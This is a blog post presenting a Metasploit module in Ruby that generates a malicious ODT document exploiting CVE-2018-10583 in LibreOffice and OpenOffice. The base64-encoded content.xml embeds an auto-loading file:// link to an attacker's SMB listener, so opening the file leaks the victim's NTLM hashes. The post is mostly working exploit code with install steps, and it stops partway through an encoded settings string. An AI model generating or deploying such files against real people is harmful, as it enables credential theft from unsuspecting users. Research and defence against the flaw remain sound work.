I decided that I’d have a go at writing a Metasploit module as it’s been a while since I’ve programmed anything in Ruby.

When writing the python script which I previously posted, I created an odt file and then just added the modified content.xml file. Doing this in Metasploit and Ruby proved more challenging and in the end as you’ll see below I decided to base64 encode the files I need to create an odt file and add them to this script.

When the module is run, the encoded data is saved to /tmp with the relevant filename and then a zip file is created which has an extension of odt and the files are added.

To use the module copy it to /usr/share/metasploit-framework/modules/auxiliary/badodt/badodt.rb

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'
require 'rex/zip'
require 'msf/core/auxiliary/report'

class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT def initialize super( 'Name' => 'LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator',
      'Description'    => 'Generates a Malicious ODT File which can be used with auxiliary/server/capture/smb or similar to capture hashes.',
      'Author'         => 'Richard Davy - secureyourit.co.uk',
      'References'     =>
        [
          ['CVE', '2018-10583'],
          ['URL', 'https://secureyourit.co.uk/wp/2018/05/01/creating-malicious-odt-files/'],
        ],
      'DisclosureDate' => 'May 01 2018',
      'License'        => MSF_LICENSE

    )

    register_options([
    OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'bad.odt']),
    OptString.new('CREATOR', [true, 'Metadata Document Creator', 'RD_PENTEST']),
    OptString.new('LISTENER', [true, 'IP Address of SMB Listener', '192.168.1.10'])
  ])

  end

  def run
    begin
      #Display Status Messages
      print_status("Generating Malicious ODT File ")
      print_status("SMB Listener Address will be set to "+datastore['LISTENER']+"\n")

      #Create File Content and Store in /tmp
      createfilecontent()
      #Create zip/odt with content stored in /tmp
      createzip()
    end
  end

  def createfilecontent()
    begin
      #Malicious part of the file is content.xml which has a file:// link to given address
      #All other files required for the odt are base64 encoded and part of this script.
      #Content is Base64 decoded out to file in tmp folder then added to zip file.

      #Create the content.xml file
      contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v"
      contentxml2=datastore['LISTENER']
      contentxml3="L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg=="

      #Write content.xml out to disk
      open('/tmp/content.xml', 'w') { |f|
        f.puts (Base64.decode64(contentxml1)+contentxml2+Base64.decode64(contentxml3))
        f.close
      }

      #Create the content for meta.xml
      metaxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtbWV0YSB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC9vZmZpY2UiIHhtbG5zOmdyZGRsPSJodHRwOi8vd3d3LnczLm9yZy8yMDAzL2cvZGF0YS12aWV3IyIgb2ZmaWNlOnZlcnNpb249IjEuMiI+PG9mZmljZTptZXRhPjxtZXRhOmluaXRpYWwtY3JlYXRvcj4="
      metaxml2="PC9tZXRhOmluaXRpYWwtY3JlYXRvcj48bWV0YTpjcmVhdGlvbi1kYXRlPjIwMTctMDItMDZUMTU6MTU6NDcuMzU8L21ldGE6Y3JlYXRpb24tZGF0ZT48ZGM6ZGF0ZT4yMDE3LTAyLTA2VDE1OjIxOjU5LjY0PC9kYzpkYXRlPjxkYzpjcmVhdG9yPg=="
      metaxml3="PC9kYzpjcmVhdG9yPjxtZXRhOmVkaXRpbmctZHVyYXRpb24+UFQ0TTE2UzwvbWV0YTplZGl0aW5nLWR1cmF0aW9uPjxtZXRhOmVkaXRpbmctY3ljbGVzPjI8L21ldGE6ZWRpdGluZy1jeWNsZXM+PG1ldGE6Y3JlYXRpb24tZGF0ZT4yMDE4LTA1LTEwVDIwOjI5OjQxLjM5ODAwMDAwMDwvbWV0YTpjcmVhdGlvbi1kYXRlPjxtZXRhOmRvY3VtZW50LXN0YXRpc3RpYyBtZXRhOnRhYmxlLWNvdW50PSIwIiBtZXRhOmltYWdlLWNvdW50PSIwIiBtZXRhOm9iamVjdC1jb3VudD0iMCIgbWV0YTpwYWdlLWNvdW50PSIxIiBtZXRhOnBhcmFncmFwaC1jb3VudD0iMCIgbWV0YTp3b3JkLWNvdW50PSIwIiBtZXRhOmNoYXJhY3Rlci1jb3VudD0iMCIgbWV0YTpub24td2hpdGVzcGFjZS1jaGFyYWN0ZXItY291bnQ9IjAiLz48bWV0YTpnZW5lcmF0b3I+TGlicmVPZmZpY2UvNi4wLjMuMiRXaW5kb3dzX1g4Nl82NCBMaWJyZU9mZmljZV9wcm9qZWN0LzhmNDhkNTE1NDE2NjA4ZTNhODM1MzYwMzE0ZGFjN2U0N2ZkMGI4MjE8L21ldGE6Z2VuZXJhdG9yPjwvb2ZmaWNlOm1ldGE+PC9vZmZpY2U6ZG9jdW1lbnQtbWV0YT4="
      creator=datastore['CREATOR']

      #Write meta.xml out to disk
      open('/tmp/meta.xml', 'w') { |f|
        f.puts (Base64.decode64(metaxml1)+creator+Base64.decode64(metaxml2)+creator+Base64.decode64(metaxml3))
        f.close
      }

      manifest="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+DQogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSJzdHlsZXMueG1sIj4NCiAgICA8cmRmOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy9ucy9vZmZpY2UvMS4yL21ldGEvb2RmI1N0eWxlc0ZpbGUiLz4NCiAgPC9yZGY6RGVzY3JpcHRpb24+DQogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiPg0KICAgIDxuczA6aGFzUGFydCB4bWxuczpuczA9Imh0dHA6Ly9kb2NzLm9hc2lzLW9wZW4ub3JnL25zL29mZmljZS8xLjIvbWV0YS9wa2cjIiByZGY6cmVzb3VyY2U9InN0eWxlcy54bWwiLz4NCiAgPC9yZGY6RGVzY3JpcHRpb24+DQogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSJjb250ZW50LnhtbCI+DQogICAgPHJkZjp0eXBlIHJkZjpyZXNvdXJjZT0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvbnMvb2ZmaWNlLzEuMi9tZXRhL29kZiNDb250ZW50RmlsZSIvPg0KICA8L3JkZjpEZXNjcmlwdGlvbj4NCiAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiI+DQogICAgPG5zMDpoYXNQYXJ0IHhtbG5zOm5zMD0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvbnMvb2ZmaWNlLzEuMi9tZXRhL3BrZyMiIHJkZjpyZXNvdXJjZT0iY29udGVudC54bWwiLz4NCiAgPC9yZGY6RGVzY3JpcHRpb24+DQogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiPg0KICAgIDxyZGY6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9kb2NzLm9hc2lzLW9wZW4ub3JnL25zL29mZmljZS8xLjIvbWV0YS9wa2cjRG9jdW1lbnQiLz4NCiAgPC9yZGY6RGVzY3JpcHRpb24+DQo8L3JkZjpSREY+"
      #Write manifest.rdf out to disk
      open('/tmp/manifest.rdf', 'w') { |f|
        f.puts (Base64.decode64(manifest))
        f.close
      }

      settings="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtc2V0dGluZ3MgeG1sbnM6b2ZmaWNlPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOm9mZmljZToxLjAiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4bWxuczpjb25maWc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6Y29uZmlnOjEuMCIgeG1sbnM6b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC9vZmZpY2UiIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2V0dGluZ3M+PGNvbmZpZzpjb25maWctaXRlbS1zZXQgY29uZmlnOm5hbWU9Im9vbzp2aWV3LXNldHRpbmdzIj48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJWaWV3QXJlYVRvcCIgY29uZmlnOnR5cGU9ImxvbmciPjA8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJWaWV3QXJlYUxlZnQiIGNvbmZpZzp0eXBlPSJsb25nIj4wPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVmlld0FyZWFXaWR0aCIgY29uZmlnOnR5cGU9ImxvbmciPjI0NDkwPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVmlld0FyZWFIZWlnaHQiIGNvbmZpZzp0eXBlPSJsb25nIj4xMTM0MDwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlNob3dSZWRsaW5lQ2hhbmdlcyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJJbkJyb3dzZU1vZGUiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0tbWFwLWluZGV4ZWQgY29uZmlnOm5hbWU9IlZpZXdzIj48Y29uZmlnOmNvbmZpZy1pdGVtLW1hcC1lbnRyeT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJWaWV3SWQiIGNvbmZpZzp0eXBlPSJzdHJpbmciPnZpZXcyPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVmlld0xlZnQiIGNvbmZpZzp0eXBlPSJsb25nIj4zNzQ1PC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVmlld1RvcCIgY29uZmlnOnR5cGU9ImxvbmciPjI1MDE8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJWaXNpYmxlTGVmdCIgY29uZmlnOnR5cGU9ImxvbmciPjA8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJWaXNpYmxlVG9wIiBjb25maWc6dHlwZT0ibG9uZyI+MDwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlZpc2libGVSaWdodCIgY29uZmlnOnR5cGU9ImxvbmciPjI0NDg4PC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iVmlzaWJsZUJvdHRvbSIgY29uZmlnOnR5cGU9ImxvbmciPjExMzM4PC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iWm9vbVR5cGUiIGNvbmZpZzp0eXBlPSJzaG9ydCI+MDwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlZpZXdMYXlvdXRDb2x1bW5zIiBjb25maWc6dHlwZT0ic2hvcnQiPjE8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJWaWV3TGF5b3V0Qm9va01vZGUiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9Ilpvb21GYWN0b3IiIGNvbmZpZzp0eXBlPSJzaG9ydCI+MjAwPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iSXNTZWxlY3RlZEZyYW1lIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJBbmNob3JlZFRleHRPdmVyZmxvd0xlZ2FjeSIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PC9jb25maWc6Y29uZmlnLWl0ZW0tbWFwLWVudHJ5PjwvY29uZmlnOmNvbmZpZy1pdGVtLW1hcC1pbmRleGVkPjwvY29uZmlnOmNvbmZpZy1pdGVtLXNldD48Y29uZmlnOmNvbmZpZy1pdGVtLXNldCBjb25maWc6bmFtZT0ib29vOmNvbmZpZ3VyYXRpb24tc2V0dGluZ3MiPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlByb3RlY3RGb3JtIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludGVyTmFtZSIgY29uZmlnOnR5cGU9InN0cmluZyIvPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkVtYmVkZGVkRGF0YWJhc2VOYW1lIiBjb25maWc6dHlwZT0ic3RyaW5nIi8+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iQ3VycmVudERhdGFiYXNlRGF0YVNvdXJjZSIgY29uZmlnOnR5cGU9InN0cmluZyIvPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkxpbmtVcGRhdGVNb2RlIiBjb25maWc6dHlwZT0ic2hvcnQiPjE8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJBZGRQYXJhVGFibGVTcGFjaW5nQXRTdGFydCIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJGbG9hdHRhYmxlTm9tYXJnaW5zIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJVbmJyZWFrYWJsZU51bWJlcmluZ3MiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkZpZWxkQXV0b1VwZGF0ZSIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJBZGRWZXJ0aWNhbEZyYW1lT2Zmc2V0cyIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iQmFja2dyb3VuZFBhcmFPdmVyRHJhd2luZ3MiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkFkZFBhcmFUYWJsZVNwYWNpbmciIGNvbmZpZzp0eXBlPSJib29sZWFuIj50cnVlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iQ2hhcnRBdXRvVXBkYXRlIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+dHJ1ZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkN1cnJlbnREYXRhYmFzZUNvbW1hbmQiIGNvbmZpZzp0eXBlPSJzdHJpbmciLz48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJBbGlnblRhYlN0b3BQb3NpdGlvbiIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPnRydWU8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJQcmludGVyU2V0dXAiIGNvbmZpZzp0eXBlPSJiYXNlNjRCaW5hcnkiLz48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJJc0tlcm5Bc2lhblB1bmN0dWF0aW9uIiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25maWctaXRlbT48Y29uZmlnOmNvbmZpZy1pdGVtIGNvbmZpZzpuYW1lPSJDaGFyYWN0ZXJDb21wcmVzc2lvblR5cGUiIGNvbmZpZzp0eXBlPSJzaG9ydCI+MDwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IkFwcGx5VXNlckRhdGEiIGNvbmZpZzp0eXBlPSJib29sZWFuIj50cnVlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iU2F2ZUdsb2JhbERvY3VtZW50TGlua3MiIGNvbmZpZzp0eXBlPSJib29sZWFuIj5mYWxzZTwvY29uZmlnOmNvbmZpZy1pdGVtPjxjb25maWc6Y29uZmlnLWl0ZW0gY29uZmlnOm5hbWU9IlN1cnJvdW5kVGV4dFdyYXBTbWFsbCIgY29uZmlnOnR5cGU9ImJvb2xlYW4iPmZhbHNlPC9jb25maWc6Y29uZmlnLWl0ZW0+PGNvbmZpZzpjb25maWctaXRlbSBjb25maWc6bmFtZT0iU21hbGxDYXBzUGVyY2VudGFnZTY2IiBjb25maWc6dHlwZT0iYm9vbGVhbiI+ZmFsc2U8L2NvbmZpZzpjb25ma